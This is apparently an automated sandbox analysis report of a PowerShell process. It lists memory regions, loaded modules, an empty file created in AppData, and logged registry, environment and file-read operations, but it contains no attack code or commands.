pagefile_0x00000000001a0000 0x001a0000 0x001a0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000001b0000 0x001b0000 0x001b1fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000001c0000 0x001c0000 0x001c0fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x00000000001d0000 0x001d0000 0x001dffff Private Memory Readable, Writable True True False
pagefile_0x00000000001e0000 0x001e0000 0x001e1fff Pagefile Backed Memory Readable True False False
  • Region Actions
cversions.2.db 0x001f0000 0x001f3fff Memory Mapped File Readable True False False
  • Region Actions
private_0x0000000000200000 0x00200000 0x0020ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000210000 0x00210000 0x00210fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000220000 0x00220000 0x0031ffff Private Memory Readable, Writable True True False
private_0x0000000000320000 0x00320000 0x0041ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000420000 0x00420000 0x005a7fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000005b0000 0x005b0000 0x00730fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000740000 0x00740000 0x01b3ffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001b40000 0x01b40000 0x01c3ffff Private Memory Readable, Writable True True False
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000011.db 0x01c40000 0x01c5efff Memory Mapped File Readable True False False
  • Region Actions
{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000018.db 0x01c60000 0x01c8ffff Memory Mapped File Readable True False False
  • Region Actions
cversions.2.db 0x01c90000 0x01c93fff Memory Mapped File Readable True False False
  • Region Actions
pagefile_0x0000000001ca0000 0x01ca0000 0x01ca0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000001cb0000 0x01cb0000 0x01cb2fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000001cc0000 0x01cc0000 0x01cc0fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001cd0000 0x01cd0000 0x01cdffff Private Memory Readable, Writable True True False
l_intl.nls 0x01ce0000 0x01ce2fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000001cf0000 0x01cf0000 0x01d6ffff Private Memory Readable, Writable True True False
private_0x0000000001d70000 0x01d70000 0x01d70fff Private Memory Readable, Writable True True False
private_0x0000000001d80000 0x01d80000 0x01d9ffff Private Memory - True True False
private_0x0000000001da0000 0x01da0000 0x01e1ffff Private Memory Readable, Writable, Executable True True False
pagefile_0x0000000001e20000 0x01e20000 0x01efefff Pagefile Backed Memory Readable True False False
  • Region Actions
sortdefault.nls 0x01f00000 0x021cefff Memory Mapped File Readable False False False
  • Region Actions
{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db 0x021d0000 0x02235fff Memory Mapped File Readable True False False
  • Region Actions
sorttbls.nlp 0x02240000 0x02244fff Memory Mapped File Readable False False False
  • Region Actions
sortkey.nlp 0x02250000 0x02290fff Memory Mapped File Readable False False False
  • Region Actions
microsoft.wsman.runtime.dll 0x022a0000 0x022a7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000022b0000 0x022b0000 0x0232ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000002330000 0x02330000 0x02722fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000002730000 0x02730000 0x02730fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000002740000 0x02740000 0x02740fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000002740000 0x02740000 0x02750fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000002780000 0x02780000 0x027fffff Private Memory Readable, Writable True False False
  • Region Actions
mscorrc.dll 0x02800000 0x02853fff Memory Mapped File Readable True False False
  • Region Actions
private_0x0000000002880000 0x02880000 0x028fffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x02900000 0x029bffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000029e0000 0x029e0000 0x029effff Private Memory Readable, Writable True True False
private_0x0000000002a10000 0x02a10000 0x02a8ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002ae0000 0x02ae0000 0x02b5ffff Private Memory Readable, Writable, Executable True True False
private_0x0000000002b60000 0x02b60000 0x02c5ffff Private Memory Readable, Writable True True False
private_0x0000000002ca0000 0x02ca0000 0x02d1ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002d20000 0x02d20000 0x1ad1ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000001ad20000 0x1ad20000 0x1b3effff Private Memory Readable, Writable True True False
private_0x000000001b3f0000 0x1b3f0000 0x1b4f0fff Private Memory Readable, Writable True True False
system.management.automation.dll 0x1b500000 0x1b7e1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000001b7f0000 0x1b7f0000 0x1b8effff Private Memory Readable, Writable True True False
system.transactions.dll 0x1e230000 0x1e278fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcr80.dll 0x75360000 0x75428fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x775e0000 0x776d9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x776e0000 0x777fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x77800000 0x779a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
psapi.dll 0x779d0000 0x779d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
powershell.exe 0x13f630000 0x13f6a6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
culture.dll 0x642ff4a0000 0x642ff4a9fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.directoryservices.ni.dll 0x7fede4e0000 0x7fede674fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.management.ni.dll 0x7fede680000 0x7fede7ebfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.security.ni.dll 0x7fedea50000 0x7fedea8dfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.commands.management.ni.dll 0x7fedeb40000 0x7fedec57fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.commands.utility.ni.dll 0x7fedec60000 0x7fedee75fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.transactions.ni.dll 0x7fedee80000 0x7fedef64fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.wsman.management.ni.dll 0x7fedef70000 0x7fedf019fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.configuration.install.ni.dll 0x7fedf020000 0x7fedf051fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.commands.diagnostics.ni.dll 0x7fedf060000 0x7fedf0c8fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.core.ni.dll 0x7fedf0d0000 0x7fedf3fdfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.management.automation.ni.dll 0x7fedf470000 0x7fedffccfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
microsoft.powershell.consolehost.ni.dll 0x7fee0230000 0x7fee02e1fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.xml.ni.dll 0x7fee1530000 0x7fee1bd4fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
system.ni.dll 0x7fee1fc0000 0x7fee29e2fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscorlib.ni.dll 0x7fee29f0000 0x7fee38cbfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscorwks.dll 0x7fee38d0000 0x7fee426cfff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscoreei.dll 0x7fef13f0000 0x7fef1488fff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
mscoree.dll 0x7fef1910000 0x7fef197efff Memory Mapped File Readable, Writable, Executable True False False
  • Region Actions
shfolder.dll 0x7fef1ae0000 0x7fef1ae6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
linkinfo.dll 0x7fef6190000 0x7fef619bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shdocvw.dll 0x7fef61a0000 0x7fef61d3fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntshrui.dll 0x7fef7b70000 0x7fef7beffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cscapi.dll 0x7fef7bf0000 0x7fef7bfefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
apphelp.dll 0x7fef91c0000 0x7fef9216fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
uxtheme.dll 0x7fefb560000 0x7fefb5b5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
slc.dll 0x7fefbee0000 0x7fefbeeafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
atl.dll 0x7fefbf10000 0x7fefbf28fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
comctl32.dll 0x7fefc060000 0x7fefc253fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
propsys.dll 0x7fefc4e0000 0x7fefc60bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntmarta.dll 0x7fefc740000 0x7fefc76cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x7fefc910000 0x7fefc91bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
userenv.dll 0x7fefcaf0000 0x7fefcb0dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x7fefcd40000 0x7fefcd86fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x7fefd040000 0x7fefd056fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x7fefd540000 0x7fefd562fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x7fefd640000 0x7fefd64efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
profapi.dll 0x7fefd750000 0x7fefd75efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
devobj.dll 0x7fefd9b0000 0x7fefd9c9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x7fefd9d0000 0x7fefda3afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cfgmgr32.dll 0x7fefda40000 0x7fefda75fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x7fefdb40000 0x7fefdb6dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
setupapi.dll 0x7fefdb70000 0x7fefdd46fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x7fefdd50000 0x7fefddeefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x7fefde70000 0x7fefdf46fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x7fefdf50000 0x7fefdf5dfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x7fefe1c0000 0x7fefe3c2fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x7fefe550000 0x7fefe5e8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x7fefe640000 0x7fefe76cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x7fefe770000 0x7fefe7e0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wldap32.dll 0x7fefe7f0000 0x7fefe841fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shell32.dll 0x7fefe850000 0x7feff5d7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x7feff710000 0x7feff818fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x7feff8c0000 0x7feff8defff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x7feff8e0000 0x7feff9bafff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x7feff9d0000 0x7feffa36fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x7feffa40000 0x7feffb08fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
apisetschema.dll 0x7feffb20000 0x7feffb20fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000007ff00020000 0x7ff00020000 0x7ff0002ffff Private Memory - True False False
  • Region Actions
private_0x000007ff00030000 0x7ff00030000 0x7ff0003ffff Private Memory - True True False
private_0x000007ff00040000 0x7ff00040000 0x7ff000dffff Private Memory - True False False
  • Region Actions
private_0x000007ff000e0000 0x7ff000e0000 0x7ff000effff Private Memory - True True False
private_0x000007ff000f0000 0x7ff000f0000 0x7ff0015ffff Private Memory - True True False
private_0x000007ff00160000 0x7ff00160000 0x7ff0016ffff Private Memory - True True False
private_0x000007ff00170000 0x7ff00170000 0x7ff0017ffff Private Memory - True True False
private_0x000007fffff10000 0x7fffff10000 0x7fffff1ffff Private Memory Readable, Writable, Executable True True False
private_0x000007fffff20000 0x7fffff20000 0x7fffffaffff Private Memory Readable, Writable, Executable True True False
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000007fffffd3000 0x7fffffd3000 0x7fffffd4fff Private Memory Readable, Writable True True False
private_0x000007fffffd5000 0x7fffffd5000 0x7fffffd6fff Private Memory Readable, Writable True True False
private_0x000007fffffd7000 0x7fffffd7000 0x7fffffd8fff Private Memory Readable, Writable True True False
private_0x000007fffffd9000 0x7fffffd9000 0x7fffffdafff Private Memory Readable, Writable True True False
private_0x000007fffffdb000 0x7fffffdb000 0x7fffffdcfff Private Memory Readable, Writable True True False
private_0x000007fffffdd000 0x7fffffdd000 0x7fffffdefff Private Memory Readable, Writable True True False
private_0x000007fffffdf000 0x7fffffdf000 0x7fffffdffff Private Memory Readable, Writable True True False
For performance reasons, the remaining 40 entries are omitted.
The remaining entries can be found in flog.txt.
Created Files
+
Filename File Size Hash Values YARA Match Actions
c:\users\aetadzjz\appdata\roaming\result.exex 0.00 KB (0 bytes) MD5: d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 		False
Threads
Thread 0x658
(Host: 320, Network: 0)
+
Category Operation Information Success Count Logfile
System Get Info type = Operating System False 3
Fn
File Get Info filename = C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll, type = file_attributes True 1
Fn
Module Get Filename process_name = c:\windows\system32\windowspowershell\v1.0\powershell.exe, file_name_orig = C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.Exe, size = 2048 True 1
Fn
System Get Info type = SYSTEM_PROCESS_INFORMATION True 1
Fn
Environment Get Environment String name = MshEnableTrace False 3
Fn
File Get Info filename = C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 9
Fn
File Get Info filename = C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.config, type = file_attributes False 1
Fn
Environment Get Environment String name = MshEnableTrace False 6
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
File Create filename = CONOUT$, desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
System Get Info type = Operating System False 1
Fn
Environment Get Environment String name = MshEnableTrace False 3
Fn
Environment Get Environment String name = MshEnableTrace False 10
Fn
Environment Get Environment String name = PSMODULEPATH, result_out = C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment, value_name = PSMODULEPATH, data = 0, type = REG_EXPAND_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment, value_name = PSMODULEPATH, data = %SystemRoot%\system32\WindowsPowerShell\v1.0\Modules\, type = REG_EXPAND_SZ True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Environment True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Environment, value_name = PSMODULEPATH, type = REG_NONE False 1
Fn
Environment Set Environment String name = PSMODULEPATH, value = C:\Users\aETAdzjz\Documents\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 4
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = 0, type = REG_SZ True 2
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
File Get Info type = file_type True 1
Fn
File Read size = 4096, size_out = 4096 True 2
Fn
Data
File Read size = 4096, size_out = 3315 True 1
Fn
Data
File Read size = 781, size_out = 0 True 1
Fn
File Read size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
System Get Info type = Hardware Information True 1
Fn
File Get Info type = file_type True 1
Fn
File Read size = 4096, size_out = 4096 True 41
Fn
Data
File Read size = 4096, size_out = 436 True 1
Fn
Data
File Read size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = 0, type = REG_SZ True 2
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell, value_name = path, data = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, type = file_attributes True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 4
Fn
File Get Info type = file_type True 1
Fn
File Read size = 4096, size_out = 4096 True 6
Fn
Data
File Read size = 4096, size_out = 2530 True 1
Fn
Data
File Read size = 542, size_out = 0 True 1
Fn
File Read size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Create filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 2
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 5
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4018 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 78, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 6
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 2762 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 310, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 17
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 3022 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 50, size_out = 0 True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 4
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 281 True 1
Fn
Data
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 0 True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Read filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, size = 4096, size_out = 4096 True 41
Fn
Data
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml, type = file_attributes True 1
Fn
